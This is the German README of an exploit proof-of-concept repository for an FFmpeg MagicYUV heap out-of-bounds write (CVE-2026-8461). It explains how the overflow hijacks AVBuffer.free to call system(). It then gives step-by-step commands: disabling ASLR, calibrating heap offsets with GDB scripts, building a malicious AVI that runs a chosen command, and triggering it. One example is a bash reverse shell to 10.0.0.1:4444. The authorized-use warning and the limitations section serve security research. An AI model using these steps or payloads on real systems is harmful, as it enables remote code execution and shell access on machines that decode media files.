CVE-2026-8461 "PixelSmash" — FFmpeg MagicYUV Heap OOB Write PoC

[!WARNING] Dieses Repository enthält einen funktionierenden Exploit-PoC für eine Heap-Korruptions-Schwachstelle. Es ist ausschließlich für autorisierte Sicherheitsforschung, CTF-Kontexte und defensive Analysen bestimmt. Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben.

Betroffen: FFmpeg 8.0.1 MagicYUV-Decoder (libavcodec/magicyuv.c)
Primitiv: Heap-OOB-Schreiben → Hijack von AVBuffer.free → system()-Aufruf

Schwachstelle

magy_decode_slice() verwendet sheight (ungeklemmte Slice-Höhe) als Schleifengrenze für das Schreiben in die Cb/Cr-Ausgabeebene, allokiert den Puffer jedoch mit der geklemmten height. In der letzten Slice eines speziell präparierten Frames schreibt die Schleife über das Ende des allokierten Bereichs hinaus.

// magicyuv.c:291 — dst-Zeiger befindet sich bereits bei sheight×stride nach Pufferstart
for (i = 0; i < avctx->width >> s->hshift[plane]; i++)
    dst[i] = get_vlc2(...);   // OOB-Schreiben, wenn sheight > height

Der Out-of-Bounds-Schreibzugriff landet in einer anschließend allokierten AVBuffer-Struktur. Durch Kontrolle der geschriebenen Bytes wird AVBuffer.free mit der Adresse von system() überschrieben und AVBuffer.opaque mit der Adresse des Befehlsstrings auf dem Heap. Wenn der Frame freigegeben wird, ruft av_buffer_unref() system(cmd) auf.

Vollständige technische Analyse: Englisch · Chinesisch

Dateien

Voraussetzungen

Python >= 3.8
GDB >= 9.0
kernel.randomize_va_space = 0   (ASLR deaktiviert — für Kalibrierung erforderlich)

Python-Abhängigkeiten: keine (nur Standardbibliothek).

Schnellstart

Schritt 0 — ASLR deaktivieren

sudo sysctl -w kernel.randomize_va_space=0

Schritt 1 — Kalibrierung generieren

Debug-Build (mit -g kompiliert, z. B. aus Quelle mit --enable-debug):

python3 auto_calibrate.py \
    --ffmpeg /path/to/ffmpeg-debug \
    --avi    /tmp/exploit.avi \
    -o       calibration.json

Produktions-Build (gestrippt, Shared-Library, z. B. apt install ffmpeg oder benutzerdefiniert --enable-shared):

python3 auto_calibrate_nosym.py \
    --ffmpeg  /path/to/ffmpeg \
    --libpath /path/to/ffmpeg/lib \
    --avi     /tmp/exploit.avi \
    -o        calibration.json

Der --avi-Pfad muss zwischen Kalibrierung und Exploit-Auslieferung identisch sein. Eine Änderung der Pfadzeichenfolgenlänge verschiebt das Heap-Layout und macht die Kalibrierung ungültig.

Schritt 2 — Exploit-AVI generieren

python3 exploit_cve_2026_8461.py \
    --calibration calibration.json \
    --cmd "id > /tmp/pwned" \
    -o /tmp/exploit.avi

Schritt 3 — Auslösen

# Debug-Build (statisch gelinkt)
/path/to/ffmpeg-debug -i /tmp/exploit.avi -f null -

# Produktions-Build (Shared-Library)
LD_LIBRARY_PATH=/path/to/lib /path/to/ffmpeg -i /tmp/exploit.avi -f null -

# Systeminstalliertes FFmpeg (apt/yum)
ffmpeg -i /tmp/exploit.avi -f null -

Erwartete Ausgabe: Befehl wird ausgeführt, dann stürzt der Prozess mit corrupted size vs. prev_size ab.

cat /tmp/pwned
# uid=1000(user) gid=1000(user) groups=...

Beispiel einer Reverse Shell

python3 exploit_cve_2026_8461.py \
    --calibration calibration.json \
    --cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
    -o /tmp/exploit.avi

Entscheidungsablauf des Kalibrierungsskripts

Target FFmpeg binary
    │
    ├─ Has debug symbols?  (file ffmpeg | grep debug_info)
    │       └─ YES → auto_calibrate.py
    │
    └─ Stripped / production
            │
            ├─ Dynamically linked?  (ldd ffmpeg | grep libavutil)
            │       └─ YES → auto_calibrate_nosym.py
            │
            └─ Statically linked + fully stripped
                    └─ Neither script applies
                       (requires LD_PRELOAD malloc hook approach)

auto_calibrate_nosym.py funktioniert wie folgt:

1. Es bricht bei av_buffer_create (immer in libavutil.so .dynsym vorhanden) ein, um die Cb- und Cr-Datenzeiger zu erfassen, ohne Quelltextsymbole zu benötigen.
2. Es setzt einen GDB-Hardware-Schreib-Watchpoint auf die OOB-Startadresse.
3. Es durchläuft den resultierenden Heap-Dump, um die AVBuffer-Struktur zu lokalisieren und die system()-Adresse zu extrahieren.

Auslösebedingungen

Der Exploit feuert, wenn das Ziel den Videoframe dekodiert (nicht nur prüft):

Basis-PoC (nur OOB-Schreiben, kein Payload)

Um die Schwachstelle ohne Befehlsausführung zu demonstrieren:

python3 exploit_cve_2026_8461.py --baseline -o baseline.avi
ffmpeg -i baseline.avi -f null -
# stürzt ab mit: free(): invalid pointer  oder  corrupted size vs. prev_size

Umfang und Einschränkungen

• Architektur: Entwickelt und getestet auf x86_64 nur. Der Exploit hängt von einem spezifischen Heap-Layout ab, bei dem die AVBuffer-Struktur innerhalb von 640 Bytes der Cb-Ebenen-OOB-Startadresse landet. Auf aarch64 platziert die glibc-Allokationsreihenfolge AVBuffer außerhalb dieses Bereichs (der benachbarte Chunk ist der ~10 KB große Cr-Puffer), sodass der OOB-Schreibzugriff ihn mit der aktuellen Frame-Geometrie nicht erreichen kann. Eine Portierung auf aarch64 erfordert ein Profiling des aarch64-Heap-Layouts und eine entsprechende Anpassung der Frame-Geometrie.
• ASLR: Muss deaktiviert sein (kernel.randomize_va_space=0). Bei aktiviertem ASLR werden Heap-Adressen pro Lauf randomisiert, und die Kalibrierung ist nicht anwendbar. Ein Informationsleck-Primitiv wäre erforderlich, um dies auf ASLR-aktivierte Ziele auszuweiten.
• Kalibrierungsumfang: Gültig für ein spezifisches Binary auf einer spezifischen Maschine. Ein anderer Build, eine andere libc-Version oder eine andere AVI-Pfadlänge erfordert eine Neukalibrierung.
• AVI-Pfad: Der Exploit-AVI muss über denselben absoluten Pfad ausgeliefert werden, der während der Kalibrierung verwendet wurde.
• auto_calibrate_nosym.py: Erfordert ein dynamisch gelinktes FFmpeg mit zugänglicher libavutil.so (entweder in Systempfaden oder über --libpath).